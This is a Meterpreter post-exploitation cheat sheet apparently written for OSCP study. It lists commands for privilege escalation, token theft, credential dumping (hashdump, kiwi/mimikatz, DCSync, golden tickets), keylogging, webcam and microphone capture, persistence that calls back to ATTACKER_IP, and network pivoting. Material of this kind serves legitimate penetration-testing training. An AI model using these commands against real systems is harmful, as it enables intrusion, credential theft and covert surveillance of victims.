Meterpreter is an advanced, dynamically extensible payload that lives entirely in memory on the target — no files written to disk by default. It communicates over an encrypted channel back to the MSF handler and provides a rich command set covering file system access, network recon, privilege escalation, pivoting, and more.
Key advantages: Encrypted comms, in-memory only, extensible with load, auto-migrates on request, native OS interaction without spawning cmd.exe.
📌 1) Core / Session Commands
Command
Description
help
Show all available commands
background / bg
Background the session (return to msf >)
exit / quit
Terminate the meterpreter session
sessions -i <ID>
Re-enter a backgrounded session
info
Show session info (target OS, arch, session type)
irb
Drop into an interactive Ruby shell (meterpreter extension)
pry
Drop into a Pry Ruby debugger
run <script>
Run a meterpreter script or post module
load <ext>
Load a meterpreter extension (kiwi, incognito, etc.)
📌 2) System Information
Command
Description
sysinfo
OS, hostname, architecture, Meterpreter type
getuid
Show current user context (DOMAIN\User on Windows)
getpid
Show the PID of the current meterpreter process
getenv <var>
Get a specific environment variable
env
List all environment variables
ps
List all running processes (PID, name, path, user, arch)
kill <PID>
Kill a process by PID
pgrep <name>
Find process PID by name
pkill <name>
Kill process(es) by name
suspend <PID>
Suspend a process
📌 3) Process Migration
Migration moves meterpreter into another process — useful to stabilize the session, escalate privileges, or avoid detection.
migrate <PID> # Migrate into a specific processmigrate -N <name> # Migrate by process name (e.g. migrate -N explorer.exe)
Why migrate?
Exploit process may be unstable (crashes close your session)
Target a process running as SYSTEM (e.g. lsass.exe, winlogon.exe)
A 32-bit meterpreter in a 64-bit process causes issues — migrate to a native 64-bit process
# Common stable migration targets (Windows)migrate -N explorer.exe # GUI sessionmigrate -N svchost.exe # Background service (check which user it runs as with ps)migrate -N spoolsv.exe # Print Spooler (often SYSTEM)
# Get a shell and upgrade itshell# (now in cmd.exe / bash)# Ctrl-Z to background, then:sessions -u <ID> # Upgrade back to meterpreter
📌 6) Network Commands
Command
Description
ipconfig / ifconfig
Show network interfaces
arp
Show ARP cache
netstat
Show active connections
route
Show routing table
portfwd add -l <lport> -r <rhost> -p <rport>
Forward local port to remote host:port
portfwd delete -l <lport>
Remove port forward
portfwd list
List all port forwards
portfwd flush
Remove all port forwards
Port forwarding example
# Forward attacker's port 3389 → target's internal RDPportfwd add -l 3389 -r 172.16.0.10 -p 3389# Now connect to localhost:3389 from attackerxfreerdp3 /u:admin /p:password /v:127.0.0.1
📌 7) Privilege Escalation
Command
Description
getprivs
Show current privileges
getsystem
Attempt automatic privilege escalation to SYSTEM
getsystem -t 1
Technique 1: Named pipe impersonation
getsystem -t 2
Technique 2: Named pipe with token duplication
getsystem -t 3
Technique 3: Token duplication via thread impersonation
rev2self
Revert to original user (undo getsystem / impersonation)
# Standard privesc attemptgetsystem# Verifygetuid# Should show: NT AUTHORITY\SYSTEM
If getsystem fails, run the local exploit suggester post module: run post/multi/recon/local_exploit_suggester
📌 8) Token Impersonation (Incognito)
load incognito # Load incognito extensionlist_tokens -u # List available user tokenslist_tokens -g # List available group tokensimpersonate_token "DOMAIN\\Administrator" # Impersonate a tokensteal_token <PID> # Steal token from a processdrop_token # Drop impersonated token
📌 9) Credential Dumping
# Requires SYSTEM or high-priv sessionhashdump # Dump local SAM database (NTLM hashes)run post/windows/gather/hashdump # Post module version (more reliable)run post/windows/gather/smart_hashdump # Domain + local hashes# Load Kiwi (mimikatz port)load kiwikiwi_cmd sekurlsa::logonpasswords # Dump plaintext creds from LSASSkiwi_cmd lsadump::sam # Dump SAM hasheskiwi_cmd lsadump::secrets # Dump LSA secretskiwi_cmd lsadump::dcsync /user:krbtgt # DCSync (requires DA)creds_all # Dump all credentials (kiwi shortcut)creds_msv # NTLM hashescreds_wdigest # Wdigest plaintext (if enabled)creds_kerberos # Kerberos ticketscreds_tspkg # TS packagescreds_ssp # SSP credentialsgolden_ticket_create -d DOMAIN -u USER -s DOMAIN_SID -k NTLM_HASH -t /tmp/golden.kirbi
📌 10) Screenshots & Keylogging
screenshot # Capture target's screen → saves to local filescreenshare # Live screen stream in browserrecord_mic -d 5 # Record microphone for 5 secondswebcam_list # List webcamswebcam_snap # Take a photowebcam_stream # Live webcam streamkeyscan_start # Start keyloggerkeyscan_dump # Dump captured keystrokeskeyscan_stop # Stop keylogger
📌 11) Persistence
# Simple persistence via startup registry keyrun post/windows/manage/persistence_exe STARTUP=SCHEDULER EXE_NAME=svchost32.exe# Meterpreter persistence script (older)run persistence -h # Show optionsrun persistence -X -i 30 -p 4444 -r ATTACKER_IP # -X → run on system startup # -i → reconnect interval (seconds) # -p → port # -r → attacker IP
📌 12) Pivoting (Routing)
# Add a route through the meterpreter session to reach internal subnetrun post/multi/manage/autoroute # Auto-add routes for all subnetsrun post/multi/manage/autoroute SUBNET=172.16.0.0/24 # Specific subnet# Or from msfconsole:route add 172.16.0.0/24 <session_ID>route print # Show routing tableroute remove 172.16.0.0/24 <session_ID># SOCKS proxy through session (for tools outside MSF)use auxiliary/server/socks_proxyset SRVPORT 1080set VERSION 5run -j# Then configure proxychains to use 127.0.0.1:1080
📌 Quick OSCP Cheat Sheet (Copy/Paste)
# Immediately after landing meterpretersysinfogetuidgetpidps# Go SYSTEMgetsystemgetuid# Dump hasheshashdump# Enumerate network (find pivot targets)ipconfigarproute# Upload / downloadupload /home/kali/linpeas.sh /tmp/download /etc/shadow /home/kali/loot/# Background sessionbackground# Port forward (pivot to internal host)portfwd add -l 445 -r 172.16.0.5 -p 445# Add route for subnet (pivot with MSF modules)run post/multi/manage/autoroute